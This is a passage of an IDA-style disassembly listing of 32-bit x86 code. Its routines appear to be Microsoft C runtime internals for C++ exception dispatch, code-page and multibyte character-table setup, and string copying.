sub_41A55B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A61B proc near ; CODE XREF: sub_41A7FD+93p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_4] mov eax, [eax+8] and byte ptr [ebp+var_1C], 0 cmp eax, 0FFFFFFFFh mov [ebp+var_18], eax jl short loc_41A63B mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41A640 loc_41A63B: ; CODE XREF: sub_41A61B+16j call sub_41A8D4 loc_41A640: ; CODE XREF: sub_41A61B+1Ej push ebx mov ebx, [ebp+arg_0] cmp dword ptr [ebx], 0E06D7363h push esi push edi jnz loc_41A7D2 cmp dword ptr [ebx+10h], 3 mov edi, 19930520h jnz short loc_41A6CC cmp [ebx+14h], edi jnz short loc_41A6CC cmp dword ptr [ebx+1Ch], 0 jnz short loc_41A6CC call sub_416C45 cmp dword ptr [eax+78h], 0 jz loc_41A7CA call sub_416C45 mov esi, [eax+78h] mov [ebp+arg_0], esi call sub_416C45 mov eax, [eax+7Ch] push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_1C], 1 call sub_41E1A5 test eax, eax pop ecx pop ecx jnz short loc_41A6A4 call sub_41A8D4 loc_41A6A4: ; CODE XREF: sub_41A61B+82j cmp dword ptr [esi], 0E06D7363h jnz loc_41A7CF mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 3 jnz short loc_41A6C9 cmp [eax+14h], edi jnz short loc_41A6C9 cmp dword ptr [eax+1Ch], 0 jnz short loc_41A6C9 call sub_41A8D4 loc_41A6C9: ; CODE XREF: sub_41A61B+9Cj ; sub_41A61B+A1j ... mov ebx, [ebp+arg_0] loc_41A6CC: ; CODE XREF: sub_41A61B+40j ; sub_41A61B+45j ... cmp dword ptr [ebx], 0E06D7363h jnz loc_41A7D2 cmp dword ptr [ebx+10h], 3 jnz loc_41A7D2 cmp [ebx+14h], edi jnz loc_41A7D2 mov esi, [ebp+var_18] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_8] push eax push esi push [ebp+arg_18] push [ebp+arg_10] call sub_415590 mov ecx, [ebp+var_8] add esp, 14h cmp ecx, [ebp+var_20] mov [ebp+var_4], eax jnb loc_41A7BA jmp short loc_41A719 ; --------------------------------------------------------------------------- loc_41A716: ; CODE XREF: sub_41A61B+199j mov esi, [ebp+var_18] loc_41A719: ; CODE XREF: sub_41A61B+F9j cmp [eax], esi jg loc_41A7A5 cmp esi, [eax+4] jg short loc_41A7A5 mov ecx, [eax+0Ch] test ecx, ecx mov esi, [eax+10h] mov [ebp+var_14], ecx jle short loc_41A7A5 loc_41A733: ; CODE XREF: sub_41A61B+15Bj mov ecx, [ebx+1Ch] mov ecx, [ecx+0Ch] lea edx, [ecx+4] mov ecx, [ecx] test ecx, ecx mov [ebp+var_C], edx mov [ebp+var_10], ecx jle short loc_41A76C loc_41A748: ; CODE XREF: sub_41A61B+14Cj mov eax, [ebp+var_C] mov edi, [eax] push dword ptr [ebx+1Ch] mov [ebp+var_24], edi call sub_41A034 test eax, eax pop ecx jnz short loc_41A77A dec [ebp+var_10] add [ebp+var_C], 4 cmp [ebp+var_10], eax jg short loc_41A748 mov eax, [ebp+var_4] loc_41A76C: ; CODE XREF: sub_41A61B+12Bj dec [ebp+var_14] add esi, 10h cmp [ebp+var_14], 0 jg short loc_41A733 jmp short loc_41A7A5 ; --------------------------------------------------------------------------- loc_41A77A: ; CODE XREF: sub_41A61B+140j push [ebp+var_1C] mov edi, [ebp+var_4] push [ebp+arg_1C] mov ecx, [ebp+var_24] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push ebx mov ebx, esi mov esi, [ebp+arg_4] call sub_41A4F4 mov ebx, [ebp+arg_0] add esp, 1Ch mov eax, edi loc_41A7A5: ; CODE XREF: sub_41A61B+100j ; sub_41A61B+109j ... inc [ebp+var_8] mov ecx, [ebp+var_8] add eax, 14h cmp ecx, [ebp+var_20] mov [ebp+var_4], eax jb loc_41A716 loc_41A7BA: ; CODE XREF: sub_41A61B+F3j cmp [ebp+arg_14], 0 jz short loc_41A7CA push 1 push ebx call sub_41A16F pop ecx pop ecx loc_41A7CA: ; CODE XREF: sub_41A61B+56j ; sub_41A61B+1A3j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A7CF: ; CODE XREF: sub_41A61B+8Fj mov ebx, [ebp+arg_0] loc_41A7D2: ; CODE XREF: sub_41A61B+31j ; sub_41A61B+B7j ... cmp [ebp+arg_14], 0 jnz short loc_41A7F8 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_41A55B add esp, 20h jmp short loc_41A7CA ; --------------------------------------------------------------------------- loc_41A7F8: ; CODE XREF: sub_41A61B+1BBj jmp sub_41A89F sub_41A61B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A7FD proc near ; CODE XREF: .text:004154E6p ; .text:00415516p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] mov eax, [esi] push edi and eax, 1FFFFFFFh mov edi, 19930520h cmp eax, edi jz short loc_41A81A call sub_41A8D4 loc_41A81A: ; CODE XREF: sub_41A7FD+16j mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41A842 cmp dword ptr [esi+4], 0 jz short loc_41A898 cmp [ebp+arg_14], 0 jnz short loc_41A898 push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41A0A1 add esp, 10h jmp short loc_41A898 ; --------------------------------------------------------------------------- loc_41A842: ; CODE XREF: sub_41A7FD+24j cmp dword ptr [esi+0Ch], 0 jz short loc_41A898 cmp dword ptr [eax], 0E06D7363h jnz short loc_41A87C cmp [eax+14h], edi jbe short loc_41A87C mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41A87C movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41A89B ; --------------------------------------------------------------------------- loc_41A87C: ; CODE XREF: sub_41A7FD+51j ; sub_41A7FD+56j ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41A61B add esp, 20h loc_41A898: ; CODE XREF: sub_41A7FD+2Aj ; sub_41A7FD+30j ... xor eax, eax inc eax loc_41A89B: ; CODE XREF: sub_41A7FD+7Dj pop edi pop esi pop ebp retn sub_41A7FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A89F proc near ; CODE XREF: sub_41A083+19j ; .text:0041A1AFj ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041E1F5 SIZE 00000018 BYTES push 8 push offset stru_429520 call __SEH_prolog call sub_416C45 cmp dword ptr [eax+6Ch], 0 jz short loc_41A8CF and [ebp+ms_exc.disabled], 0 call sub_416C45 call dword ptr [eax+6Ch] jmp short loc_41A8CB ; --------------------------------------------------------------------------- loc_41A8C4: ; DATA XREF: .rdata:stru_429520o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41A8C8: ; DATA XREF: .rdata:stru_429520o mov esp, [ebp+ms_exc.old_esp] loc_41A8CB: ; CODE XREF: sub_41A89F+23j or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_41A8CF: ; CODE XREF: sub_41A89F+15j jmp loc_41E1F5 sub_41A89F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8D4 proc near ; CODE XREF: sub_415590+23p ; sub_415590:loc_4155FAp ... ms_exc = CPPEH_RECORD ptr -18h push 8 push offset stru_429530 call __SEH_prolog mov eax, off_42DEC0 test eax, eax jz short loc_41A8FC and [ebp+ms_exc.disabled], 0 call eax ; sub_41A89F jmp short loc_41A8F8 ; --------------------------------------------------------------------------- loc_41A8F1: ; DATA XREF: .rdata:stru_429530o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41A8F5: ; DATA XREF: .rdata:stru_429530o mov esp, [ebp+ms_exc.old_esp] loc_41A8F8: ; CODE XREF: sub_41A8D4+1Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_41A8FC: ; CODE XREF: sub_41A8D4+13j jmp sub_41A89F sub_41A8D4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A910 proc near ; CODE XREF: sub_41569F+3Dp ; sub_41A0A1+68p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41586D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41A94F mov ecx, 2 loc_41A94F: ; CODE XREF: sub_41A910+38j push ecx call sub_41586D pop ebp pop ecx pop ebx leave retn 0Ch sub_41A910 endp ; =============== S U B R O U T I N E ======================================= sub_41A95C proc near ; CODE XREF: sub_415ADF+1Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41BFFF test eax, eax pop ecx jz short loc_41A9E0 cmp esi, offset dword_42D9A8 jnz short loc_41A97A xor eax, eax jmp short loc_41A985 ; --------------------------------------------------------------------------- loc_41A97A: ; CODE XREF: sub_41A95C+18j cmp esi, offset dword_42D9C8 jnz short loc_41A9E0 xor eax, eax inc eax loc_41A985: ; CODE XREF: sub_41A95C+1Cj inc dword_47C220 test word ptr [esi+0Ch], 10Ch jnz short loc_41A9E0 push ebx push edi lea edi, ds:47C384h[eax*4] cmp dword ptr [edi], 0 mov ebx, 1000h jnz short loc_41A9C6 push ebx call sub_414CAD test eax, eax pop ecx mov [edi], eax jnz short loc_41A9C6 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_41A9D3 ; --------------------------------------------------------------------------- loc_41A9C6: ; CODE XREF: sub_41A95C+48j ; sub_41A95C+55j mov edi, [edi] mov [esi+8], edi mov [esi], edi mov [esi+18h], ebx mov [esi+4], ebx loc_41A9D3: ; CODE XREF: sub_41A95C+68j or word ptr [esi+0Ch], 1102h pop edi xor eax, eax pop ebx inc eax pop esi retn ; --------------------------------------------------------------------------- loc_41A9E0: ; CODE XREF: sub_41A95C+10j ; sub_41A95C+24j ... xor eax, eax pop esi retn sub_41A95C endp ; =============== S U B R O U T I N E ======================================= sub_41A9E4 proc near ; CODE XREF: sub_415ADF+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 jz short locret_41AA0D push esi mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41AA0C push esi call sub_417C02 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx loc_41AA0C: ; CODE XREF: sub_41A9E4+10j pop esi locret_41AA0D: ; CODE XREF: sub_41A9E4+5j retn sub_41A9E4 endp ; =============== S U B R O U T I N E ======================================= sub_41AA0E proc near ; CODE XREF: sub_41AC67+FFp ; sub_41AC67+149p sub eax, 3A4h jz short loc_41AA37 sub eax, 4 jz short loc_41AA31 sub eax, 0Dh jz short loc_41AA2B dec eax jz short loc_41AA25 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41AA25: ; CODE XREF: sub_41AA0E+12j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41AA2B: ; CODE XREF: sub_41AA0E+Fj mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41AA31: ; CODE XREF: sub_41AA0E+Aj mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41AA37: ; CODE XREF: sub_41AA0E+5j mov eax, 411h retn sub_41AA0E endp ; =============== S U B R O U T I N E ======================================= sub_41AA3D proc near ; CODE XREF: sub_41AC67:loc_41ADDCp push edi push 40h xor eax, eax pop ecx mov edi, offset byte_47C760 rep stosd stosb xor eax, eax mov dword_47C864, eax mov dword_47C748, eax mov dword_47C740, eax mov edi, offset word_47C870 stosd stosd stosd pop edi retn sub_41AA3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA66 proc near ; CODE XREF: sub_41AC67:loc_41ADE1p var_518 = word ptr -518h var_318 = byte ptr -318h var_218 = byte ptr -218h var_118 = byte ptr -118h var_18 = byte ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 518h mov eax, dword_42DEB8 xor eax, [ebp+4] push esi mov [ebp+var_4], eax lea eax, [ebp+var_18] push eax push dword_47C864 call ds:dword_4201B0 ; GetCPInfo cmp eax, 1 mov esi, 100h jnz loc_41ABA6 xor eax, eax loc_41AA9B: ; CODE XREF: sub_41AA66+3Fj mov [ebp+eax+var_118], al inc eax cmp eax, esi jb short loc_41AA9B mov al, [ebp+var_12] test al, al mov [ebp+var_118], 20h jz short loc_41AAEB push ebx lea edx, [ebp+var_11] push edi loc_41AABA: ; CODE XREF: sub_41AA66+81j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41AAE1 sub ecx, eax inc ecx mov ebx, ecx shr ecx, 2 lea edi, [ebp+eax+var_118] mov eax, 20202020h rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41AAE1: ; CODE XREF: sub_41AA66+5Cj inc edx mov al, [edx] inc edx test al, al jnz short loc_41AABA pop edi pop ebx loc_41AAEB: ; CODE XREF: sub_41AA66+4Dj push 0 push dword_47C740 lea eax, [ebp+var_518] push dword_47C864 push eax push esi lea eax, [ebp+var_118] push eax push 1 call sub_41C3E0 push 0 push dword_47C864 lea eax, [ebp+var_218] push esi push eax push esi lea eax, [ebp+var_118] push eax push esi push dword_47C740 call sub_419C39 push 0 push dword_47C864 lea eax, [ebp+var_318] push esi push eax push esi lea eax, [ebp+var_118] push eax push 200h push dword_47C740 call sub_419C39 add esp, 5Ch xor eax, eax loc_41AB60: ; CODE XREF: sub_41AA66+13Cj mov cx, [ebp+eax*2+var_518] test cl, 1 jz short loc_41AB83 or byte_47C761[eax], 10h mov cl, [ebp+eax+var_218] loc_41AB7B: ; CODE XREF: sub_41AA66+130j mov byte_47C880[eax], cl jmp short loc_41AB9F ; --------------------------------------------------------------------------- loc_41AB83: ; CODE XREF: sub_41AA66+105j test cl, 2 jz short loc_41AB98 or byte_47C761[eax], 20h mov cl, [ebp+eax+var_318] jmp short loc_41AB7B ; --------------------------------------------------------------------------- loc_41AB98: ; CODE XREF: sub_41AA66+120j and byte_47C880[eax], 0 loc_41AB9F: ; CODE XREF: sub_41AA66+11Bj inc eax cmp eax, esi jb short loc_41AB60 jmp short loc_41ABEA ; --------------------------------------------------------------------------- loc_41ABA6: ; CODE XREF: sub_41AA66+2Dj xor eax, eax loc_41ABA8: ; CODE XREF: sub_41AA66+182j cmp eax, 41h jb short loc_41ABC6 cmp eax, 5Ah ja short loc_41ABC6 or byte_47C761[eax], 10h mov cl, al add cl, 20h loc_41ABBE: ; CODE XREF: sub_41AA66+176j mov byte_47C880[eax], cl jmp short loc_41ABE5 ; --------------------------------------------------------------------------- loc_41ABC6: ; CODE XREF: sub_41AA66+145j ; sub_41AA66+14Aj cmp eax, 61h jb short loc_41ABDE cmp eax, 7Ah ja short loc_41ABDE or byte_47C761[eax], 20h mov cl, al sub cl, 20h jmp short loc_41ABBE ; --------------------------------------------------------------------------- loc_41ABDE: ; CODE XREF: sub_41AA66+163j ; sub_41AA66+168j and byte_47C880[eax], 0 loc_41ABE5: ; CODE XREF: sub_41AA66+15Ej inc eax cmp eax, esi jb short loc_41ABA8 loc_41ABEA: ; CODE XREF: sub_41AA66+13Ej mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop esi call sub_41A026 leave retn sub_41AA66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABF8 proc near ; CODE XREF: sub_41AF6B+1Ap var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 10h push offset stru_429540 call __SEH_prolog push 0Dh call sub_4180B5 pop ecx and [ebp+ms_exc.disabled], 0 call sub_416C45 mov edi, eax mov [ebp+var_1C], edi mov esi, [edi+60h] mov [ebp+var_20], esi cmp esi, dword_47C744 jz short loc_41AC4A test esi, esi jz short loc_41AC37 dec dword ptr [esi] jnz short loc_41AC37 push esi call sub_414844 pop ecx loc_41AC37: ; CODE XREF: sub_41ABF8+32j ; sub_41ABF8+36j mov eax, dword_47C744 mov [edi+60h], eax mov esi, dword_47C744 mov [ebp+var_20], esi inc dword ptr [esi] loc_41AC4A: ; CODE XREF: sub_41ABF8+2Ej or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41AC5E mov eax, esi call __SEH_epilog retn sub_41ABF8 endp ; =============== S U B R O U T I N E ======================================= sub_41AC5B proc near ; DATA XREF: .rdata:stru_429540o mov esi, [ebp-20h] sub_41AC5B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AC5E proc near ; CODE XREF: sub_41ABF8+56p push 0Dh call sub_418021 pop ecx retn sub_41AC5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AC67 proc near ; CODE XREF: sub_41ADFD+9Fp var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch mov eax, dword_42DEB8 xor eax, [ebp+4] push ebx push esi mov esi, [ebp+arg_0] xor ebx, ebx cmp esi, ebx mov [ebp+var_4], eax push edi jz loc_41ADDC xor edx, edx xor eax, eax loc_41AC8C: ; CODE XREF: sub_41AC67+36j cmp dword_42DED8[eax], esi jz short loc_41ACF9 add eax, 30h inc edx cmp eax, 0F0h jb short loc_41AC8C lea eax, [ebp+var_1C] push eax push esi call ds:dword_4201B0 ; GetCPInfo cmp eax, 1 jnz loc_41ADD4 push 40h xor eax, eax cmp [ebp+var_1C], 1 pop ecx mov edi, offset byte_47C760 rep stosd stosb mov dword_47C864, esi mov dword_47C740, ebx jbe loc_41ADC2 cmp [ebp+var_16], 0 jz loc_41AD9A lea ecx, [ebp+var_15] loc_41ACE3: ; CODE XREF: sub_41AC67+12Dj mov dl, [ecx] test dl, dl jz loc_41AD9A movzx eax, byte ptr [ecx-1] movzx edx, dl jmp loc_41AD8A ; --------------------------------------------------------------------------- loc_41ACF9: ; CODE XREF: sub_41AC67+2Bj push 40h xor eax, eax pop ecx mov edi, offset byte_47C760 rep stosd lea ecx, [edx+edx*2] shl ecx, 4 mov [ebp+var_8], ebx stosb lea ebx, dword_42DEE8[ecx] loc_41AD15: ; CODE XREF: sub_41AC67+EBj mov al, [ebx] mov esi, ebx jmp short loc_41AD44 ; --------------------------------------------------------------------------- loc_41AD1B: ; CODE XREF: sub_41AC67+DFj mov dl, [esi+1] test dl, dl jz short loc_41AD48 movzx eax, al movzx edi, dl cmp eax, edi ja short loc_41AD40 mov edx, [ebp+var_8] mov dl, byte_42DED0[edx] loc_41AD35: ; CODE XREF: sub_41AC67+D7j or byte_47C761[eax], dl inc eax cmp eax, edi jbe short loc_41AD35 loc_41AD40: ; CODE XREF: sub_41AC67+C3j inc esi inc esi mov al, [esi] loc_41AD44: ; CODE XREF: sub_41AC67+B2j test al, al jnz short loc_41AD1B loc_41AD48: ; CODE XREF: sub_41AC67+B9j inc [ebp+var_8] add ebx, 8 cmp [ebp+var_8], 4 jb short loc_41AD15 mov eax, [ebp+arg_0] mov dword_47C864, eax mov dword_47C748, 1 call sub_41AA0E lea ecx, dword_42DEDC[ecx] mov esi, ecx mov edi, offset word_47C870 movsd movsd mov dword_47C740, eax movsd jmp short loc_41ADE1 ; --------------------------------------------------------------------------- loc_41AD82: ; CODE XREF: sub_41AC67+125j or byte_47C761[eax], 4 inc eax loc_41AD8A: ; CODE XREF: sub_41AC67+8Dj cmp eax, edx jbe short loc_41AD82 inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41ACE3 loc_41AD9A: ; CODE XREF: sub_41AC67+73j ; sub_41AC67+80j xor ecx, ecx inc ecx mov eax, ecx loc_41AD9F: ; CODE XREF: sub_41AC67+145j or byte_47C761[eax], 8 inc eax cmp eax, 0FFh jb short loc_41AD9F mov eax, esi call sub_41AA0E mov dword_47C740, eax mov dword_47C748, ecx jmp short loc_41ADC8 ; --------------------------------------------------------------------------- loc_41ADC2: ; CODE XREF: sub_41AC67+69j mov dword_47C748, ebx loc_41ADC8: ; CODE XREF: sub_41AC67+159j xor eax, eax mov edi, offset word_47C870 stosd stosd stosd jmp short loc_41ADE1 ; --------------------------------------------------------------------------- loc_41ADD4: ; CODE XREF: sub_41AC67+46j cmp dword_47C38C, ebx jz short loc_41ADEA loc_41ADDC: ; CODE XREF: sub_41AC67+1Bj call sub_41AA3D loc_41ADE1: ; CODE XREF: sub_41AC67+119j ; sub_41AC67+16Bj call sub_41AA66 xor eax, eax jmp short loc_41ADED ; --------------------------------------------------------------------------- loc_41ADEA: ; CODE XREF: sub_41AC67+173j or eax, 0FFFFFFFFh loc_41ADED: ; CODE XREF: sub_41AC67+181j mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop edi pop esi pop ebx call sub_41A026 leave retn sub_41AC67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADFD proc near ; CODE XREF: sub_41AF4D+Bp var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 14h push offset stru_429550 call __SEH_prolog or [ebp+var_1C], 0FFFFFFFFh push 0Dh call sub_4180B5 pop ecx xor edi, edi mov [ebp+ms_exc.disabled], edi mov dword_47C38C, edi mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_41AE3A mov dword_47C38C, 1 call ds:dword_4201AC ; GetOEMCP jmp short loc_41AE65 ; --------------------------------------------------------------------------- loc_41AE3A: ; CODE XREF: sub_41ADFD+29j cmp eax, 0FFFFFFFDh jnz short loc_41AE51 mov dword_47C38C, 1 call ds:dword_4201A8 ; GetACP jmp short loc_41AE65 ; --------------------------------------------------------------------------- loc_41AE51: ; CODE XREF: sub_41ADFD+40j cmp eax, 0FFFFFFFCh jnz short loc_41AE65 mov dword_47C38C, 1 mov eax, dword_47C4F0 loc_41AE65: ; CODE XREF: sub_41ADFD+3Bj ; sub_41ADFD+52j ... mov [ebp+arg_0], eax cmp eax, dword_47C864 jz loc_41AF2F mov esi, dword_47C744 mov [ebp+var_20], esi cmp esi, edi jz short loc_41AE85 cmp [esi], edi jz short loc_41AE95 loc_41AE85: ; CODE XREF: sub_41ADFD+82j push 220h call sub_414CAD pop ecx mov esi, eax mov [ebp+var_20], esi loc_41AE95: ; CODE XREF: sub_41ADFD+86j cmp esi, edi jz short loc_41AF18 push [ebp+arg_0] call sub_41AC67 pop ecx mov [ebp+var_1C], eax cmp eax, edi jnz short loc_41AF18 mov [esi], edi mov eax, dword_47C864 mov [esi+4], eax mov eax, dword_47C748 mov [esi+8], eax mov eax, dword_47C740 mov [esi+0Ch], eax xor eax, eax loc_41AEC5: ; CODE XREF: sub_41ADFD+DEj mov [ebp+var_24], eax cmp eax, 5 jge short loc_41AEDD mov cx, word_47C870[eax*2] mov [esi+eax*2+10h], cx inc eax jmp short loc_41AEC5 ; --------------------------------------------------------------------------- loc_41AEDD: ; CODE XREF: sub_41ADFD+CEj xor eax, eax loc_41AEDF: ; CODE XREF: sub_41ADFD+F7j mov [ebp+var_24], eax cmp eax, 101h jge short loc_41AEF6 mov cl, byte_47C760[eax] mov [eax+esi+1Ch], cl inc eax jmp short loc_41AEDF ; --------------------------------------------------------------------------- loc_41AEF6: ; CODE XREF: sub_41ADFD+EAj xor eax, eax loc_41AEF8: ; CODE XREF: sub_41ADFD+113j mov [ebp+var_24], eax cmp eax, 100h jge short loc_41AF12 mov cl, byte_47C880[eax] mov [eax+esi+11Dh], cl inc eax jmp short loc_41AEF8 ; --------------------------------------------------------------------------- loc_41AF12: ; CODE XREF: sub_41ADFD+103j mov dword_47C744, esi loc_41AF18: ; CODE XREF: sub_41ADFD+9Aj ; sub_41ADFD+AAj cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_41AF32 cmp esi, dword_47C744 jz short loc_41AF32 push esi call sub_414844 pop ecx jmp short loc_41AF32 ; --------------------------------------------------------------------------- loc_41AF2F: ; CODE XREF: sub_41ADFD+71j mov [ebp+var_1C], edi loc_41AF32: ; CODE XREF: sub_41ADFD+11Fj ; sub_41ADFD+127j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41AF44 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_41ADFD endp ; =============== S U B R O U T I N E ======================================= sub_41AF44 proc near ; CODE XREF: sub_41ADFD+139p ; DATA XREF: .rdata:stru_429550o push 0Dh call sub_418021 pop ecx retn sub_41AF44 endp ; =============== S U B R O U T I N E ======================================= sub_41AF4D proc near ; CODE XREF: sub_41B70D+9p ; sub_41B776+Dp ... cmp dword_47D9D4, 0 jnz short loc_41AF68 push 0FFFFFFFDh call sub_41ADFD pop ecx mov dword_47D9D4, 1 loc_41AF68: ; CODE XREF: sub_41AF4D+7j xor eax, eax retn sub_41AF4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF6B proc near ; CODE XREF: sub_415B3D+2Cp ; sub_415B3D+A7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi call sub_416C45 mov eax, [eax+60h] cmp eax, dword_47C744 jz short loc_41AF8A call sub_41ABF8 loc_41AF8A: ; CODE XREF: sub_41AF6B+18j cmp dword ptr [eax+8], 0 jnz short loc_41AFA1 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_4144A0 add esp, 0Ch jmp short loc_41AFE9 ; --------------------------------------------------------------------------- loc_41AFA1: ; CODE XREF: sub_41AF6B+23j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41AFE6 push ebx push esi mov esi, [ebp+arg_4] loc_41AFAD: ; CODE XREF: sub_41AF6B+89j mov dl, [esi] movzx ebx, dl dec ecx test byte ptr [ebx+eax+1Dh], 4 mov [edi], dl jz short loc_41AFEC inc edi inc esi test ecx, ecx jz short loc_41AFF8 mov dl, [esi] dec ecx mov [edi], dl inc edi inc esi test dl, dl jnz short loc_41AFF2 and [edi-2], dl loc_41AFD0: ; CODE XREF: sub_41AF6B+85j test ecx, ecx jz short loc_41AFE4 mov edx, ecx shr ecx, 2 xor eax, eax rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41AFE4: ; CODE XREF: sub_41AF6B+67j ; sub_41AF6B+8Bj ... pop esi pop ebx loc_41AFE6: ; CODE XREF: sub_41AF6B+3Bj mov eax, [ebp+arg_0] loc_41AFE9: ; CODE XREF: sub_41AF6B+34j pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_41AFEC: ; CODE XREF: sub_41AF6B+4Fj inc edi inc esi test dl, dl jz short loc_41AFD0 loc_41AFF2: ; CODE XREF: sub_41AF6B+60j test ecx, ecx jnz short loc_41AFAD jmp short loc_41AFE4 ; --------------------------------------------------------------------------- loc_41AFF8: ; CODE XREF: sub_41AF6B+55j and byte ptr [edi-1], 0 jmp short loc_41AFE4 sub_41AF6B endp ; =============== S U B R O U T I N E ======================================= sub_41AFFE proc near ; CODE XREF: sub_41B0A6+18p push esi push dword_47D9D0 call sub_41E20D pop ecx mov ecx, dword_47D9CC mov esi, eax mov eax, dword_47D9D0 mov edx, ecx sub edx, eax add edx, 4 cmp esi, edx jnb short loc_41B071 mov ecx, 800h cmp esi, ecx jnb short loc_41B02E mov ecx, esi loc_41B02E: ; CODE XREF: sub_41AFFE+2Cj add ecx, esi push ecx push eax call sub_4149EA test eax, eax pop ecx pop ecx jnz short loc_41B054 add esi, 10h push esi push dword_47D9D0 call sub_4149EA test eax, eax pop ecx pop ecx jnz short loc_41B054 pop esi retn ; --------------------------------------------------------------------------- loc_41B054: ; CODE XREF: sub_41AFFE+3Dj ; sub_41AFFE+52j mov ecx, dword_47D9CC sub ecx, dword_47D9D0 mov dword_47D9D0, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_47D9CC, ecx loc_41B071: ; CODE 